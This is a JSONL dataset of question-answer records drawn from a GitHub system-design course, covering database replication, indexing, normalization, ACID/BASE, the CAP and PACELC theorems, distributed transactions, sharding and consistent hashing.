{"id": "gh_10cea842ea02", "question": "How to: Database Replication", "question_body": "About karanpratapsingh/system-design", "answer": "Replication is a process that involves sharing information to ensure consistency between redundant resources such as multiple databases, to improve reliability, fault-tolerance, or accessibility.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597594"}
{"id": "gh_bf6f318c8c6a", "question": "How to: Master-Slave Replication", "question_body": "About karanpratapsingh/system-design", "answer": "The master serves reads and writes, replicating writes to one or more slaves, which serve only reads. Slaves can also replicate additional slaves in a tree-like fashion. If the master goes offline, the system can continue to operate in read-only mode until a slave is promoted to a master or a new master is provisioned.\n\n![master-slave-replication](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/database-replication/master-slave-replication.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597599"}
{"id": "gh_7fcc91c7448a", "question": "How to: Master-Master Replication", "question_body": "About karanpratapsingh/system-design", "answer": "Both masters serve reads/writes and coordinate with each other. If either master goes down, the system can continue to operate with both reads and writes.\n\n![master-master-replication](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/database-replication/master-master-replication.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597613"}
{"id": "gh_ce132cec12f9", "question": "How to: Synchronous vs Asynchronous replication", "question_body": "About karanpratapsingh/system-design", "answer": "The primary difference between synchronous and asynchronous replication is how the data is written to the replica. In synchronous replication, data is written to primary storage and the replica simultaneously. As such, the primary copy and the replica should always remain synchronized.\n\nIn contrast, asynchronous replication copies the data to the replica after the data is already written to the primary storage. Although the replication process may occur in near-real-time, it is more common for replication to occur on a scheduled basis and it is more cost-effective.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597627"}
{"id": "gh_c560c5bc0de2", "question": "How to: Dense Index", "question_body": "About karanpratapsingh/system-design", "answer": "In a dense index, an index record is created for every row of the table. Records can be located directly as each record of the index holds the search key value and the pointer to the actual record.\n\n![dense-index](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/indexes/dense-index.png)\n\nDense indexes require more maintenance than sparse indexes at write-time. Since every row must have an entry, the database must maintain the index on inserts, updates, and deletes. Having an entry for every row also means that dense indexes will require more memory. The benefit of a dense index is that values can be quickly found with just a binary search. Dense indexes also do not impose any ordering requirements on the data.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597633"}
{"id": "gh_751d66f11ccd", "question": "How to: Sparse Index", "question_body": "About karanpratapsingh/system-design", "answer": "In a sparse index, index records are created only for some of the records.\n\n![sparse-index](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/indexes/sparse-index.png)\n\nSparse indexes require less maintenance than dense indexes at write-time since they only contain a subset of the values. This lighter maintenance burden means that inserts, updates, and deletes will be faster. Having fewer entries also means that the index will use less memory. Finding data is slower since a scan across the page typically follows the binary search. Sparse indexes are also optional when working with ordered data.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597638"}
{"id": "gh_a417508d3234", "question": "How to: Dependencies", "question_body": "About karanpratapsingh/system-design", "answer": "**Partial dependency**: Occurs when the primary key determines some other attributes.\n\n**Functional dependency**: It is a relationship that exists between two attributes, typically between the primary key and non-key attribute within a table.\n\n**Transitive functional dependency**: Occurs when some non-key attribute determines some other attribute.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597645"}
{"id": "gh_0265e8722765", "question": "How to: Normalization", "question_body": "About karanpratapsingh/system-design", "answer": "Normalization is the process of organizing data in a database. This includes creating tables and establishing relationships between those tables according to rules designed both to protect the data and to make the database more flexible by eliminating redundancy and inconsistent dependency.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597651"}
{"id": "gh_956a3b8160b3", "question": "How to: Why do we need normalization?", "question_body": "About karanpratapsingh/system-design", "answer": "The goal of normalization is to eliminate redundant data and ensure data is consistent. A fully normalized database allows its structure to be extended to accommodate new types of data without changing the existing structure too much. As a result, applications interacting with the database are minimally affected.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597655"}
{"id": "gh_0d540e4766ad", "question": "How to: Normal forms", "question_body": "About karanpratapsingh/system-design", "answer": "Normal forms are a series of guidelines to ensure that the database is normalized. Let's discuss some essential normal forms:\n\n**1NF**\n\nFor a table to be in the first normal form (1NF), it should follow the following rules:\n\n- Repeating groups are not permitted.\n- Identify each set of related data with a primary key.\n- Set of related data should have a separate table.\n- Mixing data types in the same column is not permitted.\n\n**2NF**\n\nFor a table to be in the second normal form (2NF), it should follow the following rules:\n\n- Satisfies the first normal form (1NF).\n- Should not have any partial dependency.\n\n**3NF**\n\nFor a table to be in the third normal form (3NF), it should follow the following rules:\n\n- Satisfies the second normal form (2NF).\n- Transitive functional dependencies are not permitted.\n\n**BCNF**\n\nBoyce-Codd normal form (or BCNF) is a slightly stronger version of the third normal form (3NF) used to address certain types of anomalies not dealt with by 3NF as originally defined. Sometimes it is also known as the 3.5 normal form (3.5NF).\n\nFor a table to be in the Boyce-Codd normal form (BCNF), it should follow the following rules:\n\n- Satisfied the third normal form (3NF).\n- For every functional dependency X → Y, X should be the super key.\n\n_There are more normal forms such as 4NF, 5NF, and 6NF but we won't discuss them here. Check out this [amazing video](https://www.youtube.com/watch?v=GFQaEYEc8_8) that goes into detail._\n\nIn a relational database, a relation is often described as _\"normalized\"_ if it meets the third normal form. Most 3NF relations are free of insertion, update, and deletion anomalies.\n\nAs with many formal rules and specifications, real-world scenarios do not always allow for perfect compliance. If you decide to violate one of the first three rules of normalization, make sure that your application anticipates any problems that could occur, such as redundant data and inconsistent dependencies.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597669"}
{"id": "gh_bcd9d3499aff", "question": "How to: Denormalization", "question_body": "About karanpratapsingh/system-design", "answer": "Denormalization is a database optimization technique in which we add redundant data to one or more tables. This can help us avoid costly joins in a relational database. It attempts to improve read performance at the expense of some write performance. Redundant copies of the data are written in multiple tables to avoid expensive joins.\n\nOnce data becomes distributed with techniques such as federation and sharding, managing joins across the network further increases complexity. Denormalization might circumvent the need for such complex joins.\n\n_Note: Denormalization does not mean reversing normalization._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597684"}
{"id": "gh_584b29e501af", "question": "How to: ACID and BASE consistency models", "question_body": "About karanpratapsingh/system-design", "answer": "Let's discuss the ACID and BASE consistency models.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597697"}
{"id": "gh_465c36f24466", "question": "How to: Consistent", "question_body": "About karanpratapsingh/system-design", "answer": "On the completion of a transaction, the database is structurally sound.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597702"}
{"id": "gh_4d501a0750d6", "question": "How to: Soft-state", "question_body": "About karanpratapsingh/system-design", "answer": "Stores don't have to be write-consistent, nor do different replicas have to be mutually consistent all the time.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597707"}
{"id": "gh_ed26ae0664bf", "question": "How to: Eventual consistency", "question_body": "About karanpratapsingh/system-design", "answer": "The data might not be consistent immediately but eventually, it becomes consistent. Reads in the system are still possible even though they may not give the correct response due to inconsistency.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597712"}
{"id": "gh_90360c895b1e", "question": "How to: ACID vs BASE Trade-offs", "question_body": "About karanpratapsingh/system-design", "answer": "There's no right answer to whether our application needs an ACID or a BASE consistency model. Both the models have been designed to satisfy different requirements. While choosing a database we need to keep the properties of both the models and the requirements of our application in mind.\n\nGiven BASE's loose consistency, developers need to be more knowledgeable and rigorous about consistent data if they choose a BASE store for their application. It's essential to be familiar with the BASE behavior of the chosen database and work within those constraints.\n\nOn the other hand, planning around BASE limitations can sometimes be a major disadvantage when compared to the simplicity of ACID transactions. A fully ACID database is the perfect fit for use cases where data reliability and consistency are essential.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597722"}
{"id": "gh_858b2fa4091c", "question": "How to: CAP Theorem", "question_body": "About karanpratapsingh/system-design", "answer": "CAP theorem states that a distributed system can deliver only two of the three desired characteristics Consistency, Availability, and Partition tolerance (CAP).\n\n![cap-theorem](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/cap-theorem/cap-theorem.png)\n\nLet's take a detailed look at the three distributed system characteristics to which the CAP theorem refers.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597727"}
{"id": "gh_fe425538c00e", "question": "How to: Consistency", "question_body": "About karanpratapsingh/system-design", "answer": "Consistency means that all clients see the same data at the same time, no matter which node they connect to. For this to happen, whenever data is written to one node, it must be instantly forwarded or replicated across all the nodes in the system before the write is deemed \"successful\".", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597732"}
{"id": "gh_a63978a91006", "question": "How to: Partition tolerance", "question_body": "About karanpratapsingh/system-design", "answer": "Partition tolerance means the system continues to work despite message loss or partial failure. A system that is partition-tolerant can sustain any amount of network failure that doesn't result in a failure of the entire network. Data is sufficiently replicated across combinations of nodes and networks to keep the system up through intermittent outages.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597741"}
{"id": "gh_8285b4c440ad", "question": "How to: Consistency-Availability Tradeoff", "question_body": "About karanpratapsingh/system-design", "answer": "We live in a physical world and can't guarantee the stability of a network, so distributed databases must choose Partition Tolerance (P). This implies a tradeoff between Consistency (C) and Availability (A).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597745"}
{"id": "gh_279147ef660e", "question": "How to: CA database", "question_body": "About karanpratapsingh/system-design", "answer": "A CA database delivers consistency and availability across all nodes. It can't do this if there is a partition between any two nodes in the system, and therefore can't deliver fault tolerance.\n\n**Example**: [PostgreSQL](https://www.postgresql.org), [MariaDB](https://mariadb.org).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597749"}
{"id": "gh_a3d231fe0b16", "question": "How to: CP database", "question_body": "About karanpratapsingh/system-design", "answer": "A CP database delivers consistency and partition tolerance at the expense of availability. When a partition occurs between any two nodes, the system has to shut down the non-consistent node until the partition is resolved.\n\n**Example**: [MongoDB](https://www.mongodb.com), [Apache HBase](https://hbase.apache.org).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597754"}
{"id": "gh_fa92b6f4b191", "question": "How to: AP database", "question_body": "About karanpratapsingh/system-design", "answer": "An AP database delivers availability and partition tolerance at the expense of consistency. When a partition occurs, all nodes remain available but those at the wrong end of a partition might return an older version of data than others. When the partition is resolved, the AP databases typically re-syncs the nodes to repair all inconsistencies in the system.\n\n**Example**: [Apache Cassandra](https://cassandra.apache.org), [CouchDB](https://couchdb.apache.org).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597759"}
{"id": "gh_993c753bb772", "question": "How to: PACELC Theorem", "question_body": "About karanpratapsingh/system-design", "answer": "The PACELC theorem is an extension of the CAP theorem. The CAP theorem states that in the case of network partitioning (P) in a distributed system, one has to choose between Availability (A) and Consistency (C).\n\nPACELC extends the CAP theorem by introducing latency (L) as an additional attribute of a distributed system. The theorem states that else (E), even when the system is running normally in the absence of partitions, one has to choose between latency (L) and consistency (C).\n\n_The PACELC theorem was first described by [Daniel J. Abadi](https://scholar.google.com/citations?user=zxeEF2gAAAAJ)._\n\n![pacelc-theorem](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/pacelc-theorem/pacelc-theorem.png)\n\nPACELC theorem was developed to address a key limitation of the CAP theorem as it makes no provision for performance or latency.\n\nFor example, according to the CAP theorem, a database can be considered available if a query returns a response after 30 days. Obviously, such latency would be unacceptable for any real-world application.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597765"}
{"id": "gh_eaffc95e3e17", "question": "How to: Transactions", "question_body": "About karanpratapsingh/system-design", "answer": "A transaction is a series of database operations that are considered to be a _\"single unit of work\"_. The operations in a transaction either all succeed, or they all fail. In this way, the notion of a transaction supports data integrity when part of a system fails. Not all databases choose to support ACID transactions, usually because they are prioritizing other optimizations that are hard or theoretically impossible to implement together.\n\n_Usually, relational databases support ACID transactions, and non-relational databases don't (there are exceptions)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597770"}
{"id": "gh_4b2e6defe43f", "question": "How to: Partially Committed", "question_body": "About karanpratapsingh/system-design", "answer": "When a transaction executes its final operation, it is said to be in a partially committed state.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597774"}
{"id": "gh_960298205bdc", "question": "How to: Terminated", "question_body": "About karanpratapsingh/system-design", "answer": "If there isn't any roll-back or the transaction comes from the _committed state_, then the system is consistent and ready for a new transaction and the old transaction is terminated.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597780"}
{"id": "gh_f0526bdbdf5d", "question": "How to: Distributed Transactions", "question_body": "About karanpratapsingh/system-design", "answer": "A distributed transaction is a set of operations on data that is performed across two or more databases. It is typically coordinated across separate nodes connected by a network, but may also span multiple databases on a single server.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597784"}
{"id": "gh_ac67de5a3190", "question": "How to: Why do we need distributed transactions?", "question_body": "About karanpratapsingh/system-design", "answer": "Unlike an ACID transaction on a single database, a distributed transaction involves altering data on multiple databases. Consequently, distributed transaction processing is more complicated, because the database must coordinate the committing or rollback of the changes in a transaction as a self-contained unit.\n\nIn other words, all the nodes must commit, or all must abort and the entire transaction rolls back. This is why we need distributed transactions.\n\nNow, let's look at some popular solutions for distributed transactions:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597789"}
{"id": "gh_149a2ec2056f", "question": "How to: Two-Phase commit", "question_body": "About karanpratapsingh/system-design", "answer": "![two-phase-commit](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/distributed-transactions/two-phase-commit.png)\n\nThe two-phase commit (2PC) protocol is a distributed algorithm that coordinates all the processes that participate in a distributed transaction on whether to commit or abort (roll back) the transaction.\n\nThis protocol achieves its goal even in many cases of temporary system failure and is thus widely used. However, it is not resilient to all possible failure configurations, and in rare cases, manual intervention is needed to remedy an outcome.\n\nThis protocol requires a coordinator node, which basically coordinates and oversees the transaction across different nodes. The coordinator tries to establish the consensus among a set of processes in two phases, hence the name.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597795"}
{"id": "gh_102201df3526", "question": "How to: Three-phase commit", "question_body": "About karanpratapsingh/system-design", "answer": "![three-phase-commit](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/distributed-transactions/three-phase-commit.png)\n\nThree-phase commit (3PC) is an extension of the two-phase commit where the commit phase is split into two phases. This helps with the blocking problem that occurs in the two-phase commit protocol.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597800"}
{"id": "gh_5cae887ed9c3", "question": "How to: Why is the Pre-commit phase helpful?", "question_body": "About karanpratapsingh/system-design", "answer": "The pre-commit phase accomplishes the following:\n\n- If the participant nodes are found in this phase, that means that _every_ participant has completed the first phase. The completion of prepare phase is guaranteed.\n- Every phase can now time out and avoid indefinite waits.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597805"}
{"id": "gh_33ff13077b83", "question": "How to: Coordination", "question_body": "About karanpratapsingh/system-design", "answer": "There are two common implementation approaches:\n\n- **Choreography**: Each local transaction publishes domain events that trigger local transactions in other services.\n- **Orchestration**: An orchestrator tells the participants what local transactions to execute.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597810"}
{"id": "gh_dfe86c16dade", "question": "How to: Data Partitioning", "question_body": "About karanpratapsingh/system-design", "answer": "Data partitioning is a technique to break up a database into many smaller parts. It is the process of splitting up a database or a table across multiple machines to improve the manageability, performance, and availability of a database.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597817"}
{"id": "gh_01352d5f1ed0", "question": "How to: What is sharding?", "question_body": "About karanpratapsingh/system-design", "answer": "Sharding is a database architecture pattern related to _horizontal partitioning_, which is the practice of separating one table's rows into multiple different tables, known as _partitions_ or _shards_. Each partition has the same schema and columns, but also a subset of the shared data. Likewise, the data held in each is unique and independent of the data held in other partitions.\n\n![sharding](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/sharding/sharding.png)\n\nThe justification for data sharding is that, after a certain point, it is cheaper and more feasible to scale horizontally by adding more machines than to scale it vertically by adding powerful servers. Sharding can be implemented at both application or the database level.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597823"}
{"id": "gh_f7f4b1175892", "question": "How to: Partitioning criteria", "question_body": "About karanpratapsingh/system-design", "answer": "There are a large number of criteria available for data partitioning. Some most commonly used criteria are:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597829"}
{"id": "gh_6cfcd583c565", "question": "How to: Hash-Based", "question_body": "About karanpratapsingh/system-design", "answer": "This strategy divides the rows into different partitions based on a hashing algorithm rather than grouping database rows based on continuous indexes.\n\nThe disadvantage of this method is that dynamically adding/removing database servers becomes expensive.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597834"}
{"id": "gh_6a54fb20fa4f", "question": "How to: List-Based", "question_body": "About karanpratapsingh/system-design", "answer": "In list-based partitioning, each partition is defined and selected based on the list of values on a column rather than a set of contiguous ranges of values.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597838"}
{"id": "gh_50ac14785ee7", "question": "How to: Range Based", "question_body": "About karanpratapsingh/system-design", "answer": "Range partitioning maps data to various partitions based on ranges of values of the partitioning key. In other words, we partition the table in such a way that each partition contains rows within a given range defined by the partition key.\n\nRanges should be contiguous but not overlapping, where each range specifies a non-inclusive lower and upper bound for a partition. Any partitioning key values equal to or higher than the upper bound of the range are added to the next partition.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597843"}
{"id": "gh_a4f4c63aba86", "question": "How to: When to use sharding?", "question_body": "About karanpratapsingh/system-design", "answer": "Here are some reasons why sharding might be the right choice:\n\n- Leveraging existing hardware instead of high-end machines.\n- Maintain data in distinct geographic regions.\n- Quickly scale by adding more shards.\n- Better performance as each machine is under less load.\n- When more concurrent connections are required.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597858"}
{"id": "gh_cbb03616fef6", "question": "How to: Consistent Hashing", "question_body": "About karanpratapsingh/system-design", "answer": "Let's first understand the problem we're trying to solve.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597862"}
{"id": "gh_6001dd40273c", "question": "How to: Why do we need this?", "question_body": "About karanpratapsingh/system-design", "answer": "In traditional hashing-based distribution methods, we use a hash function to hash our partition keys (i.e. request ID or IP). Then if we use the modulo against the total number of nodes (server or databases). This will give us the node where we want to route our request.\n\n![simple-hashing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/consistent-hashing/simple-hashing.png)\n\n$$\n\\begin{align*}\n& Hash(key_1) \\to H_1 \\bmod N = Node_0 \\\\\n& Hash(key_2) \\to H_2 \\bmod N = Node_1 \\\\\n& Hash(key_3) \\to H_3 \\bmod N = Node_2 \\\\\n& ... \\\\\n& Hash(key_n) \\to H_n \\bmod N = Node_{n-1}\n\\end{align*}\n$$\n\nWhere,\n\n`key`: Request ID or IP.\n\n`H`: Hash function result.\n\n`N`: Total number of nodes.\n\n`Node`: The node where the request will be routed.\n\nThe problem with this is if we add or remove a node, it will cause `N` to change, meaning our mapping strategy will break as the same requests will now map to a different server. As a consequence, the majority of requests will need to be redistributed which is very inefficient.\n\nWe want to uniformly distribute requests among different nodes such that we should be able to add or remove nodes with minimal effort. Hence, we need a distribution scheme that does not depend directly on the number of nodes (or servers), so that, when adding or removing nodes, the number of keys that need to be relocated is minimized.\n\nConsistent hashing solves this horizontal scalability problem by ensuring that every time we scale up or down, we do not have to re-arrange all the keys or touch all the servers.\n\nNow that we understand the problem, let's discuss consistent hashing in detail.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597873"}
{"id": "gh_0544137265d1", "question": "How to: How does it work", "question_body": "About karanpratapsingh/system-design", "answer": "Consistent Hashing is a distributed hashing scheme that operates independently of the number of nodes in a distributed hash table by assigning them a position on an abstract circle, or hash ring. This allows servers and objects to scale without affecting the overall system.\n\n![consistent-hashing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/consistent-hashing/consistent-hashing.png)\n\nUsing consistent hashing, only `K/N` data would require re-distributing.\n\n$$\nR = K/N\n$$\n\nWhere,\n\n`R`: Data that would require re-distribution.\n\n`K`: Number of partition keys.\n\n`N`: Number of nodes.\n\nThe output of the hash function is a range let's say `0...m-1` which we can represent on our hash ring. We hash the requests and distribute them on the ring depending on what the output was. Similarly, we also hash the node and distribute them on the same ring as well.\n\n$$\n\\begin{align*}\n& Hash(key_1) = P_1 \\\\\n& Hash(key_2) = P_2 \\\\\n& Hash(key_3) = P_3 \\\\\n& ... \\\\\n& Hash(key_n) = P_{m-1}\n\\end{align*}\n$$\n\nWhere,\n\n`key`: Request/Node ID or IP.\n\n`P`: Position on the hash ring.\n\n`m`: Total range of the hash ring.\n\nNow, when the request comes in we can simply route it to the closest node in a clockwise (can be counterclockwise as well) manner. This means that if a new node is added or removed, we can use the nearest node and only a _fraction_ of the requests need to be re-routed.\n\nIn theory, consistent hashing should distribute the load evenly however it doesn't happen in practice. Usually, the load distribution is uneven and one server may end up handling the majority of the request becoming a _hotspot_, essentially a bottleneck for the system. We can fix this by adding extra nodes but that can be expensive.\n\nLet's see how we can address these issues.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", 